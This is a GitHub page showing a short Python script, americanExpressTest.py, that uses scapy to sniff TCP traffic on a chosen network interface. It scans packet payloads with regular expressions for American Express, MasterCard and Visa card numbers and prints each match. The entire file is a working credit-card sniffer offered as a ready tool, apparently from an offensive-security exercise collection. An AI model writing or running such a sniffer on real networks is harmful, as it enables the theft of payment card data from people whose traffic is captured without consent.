-
Notifications
You must be signed in to change notification settings - Fork 92
/
Copy pathamericanExpressTest.py
38 lines (31 loc) · 1.04 KB
/
americanExpressTest.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# coding=UTF-8
import re
import optparse
from scapy.all import *
def findCreditCard(pkt):
raw = pkt.sprintf('%Raw.load%')
americaRE = re.findall("3[47][0-9]{13}", raw)
masterRE = re.findall('5[1-5][0-9]{14}', raw)
visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)
if americaRE:
print("[+] Found American Express Card: " + americaRE[0])
if masterRE:
print('[+] Found MasterCard Card: ' + masterRE[0])
if visaRE:
print('[+] Found Visa Card: ' + visaRE[0])
def main():
parser = optparse.OptionParser('usage % prog -i<interface>')
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args) = parser.parse_args()
if options.interface == None:
print(parser.usage)
exit(0)
else:
conf.iface = options.interface
try:
print('[*] Starting Credit Card Sniffer.')
sniff(filter='tcp', prn=findCreditCard, store=0)
except KeyboardInterrupt:
exit(0)
if __name__ == '__main__':
main()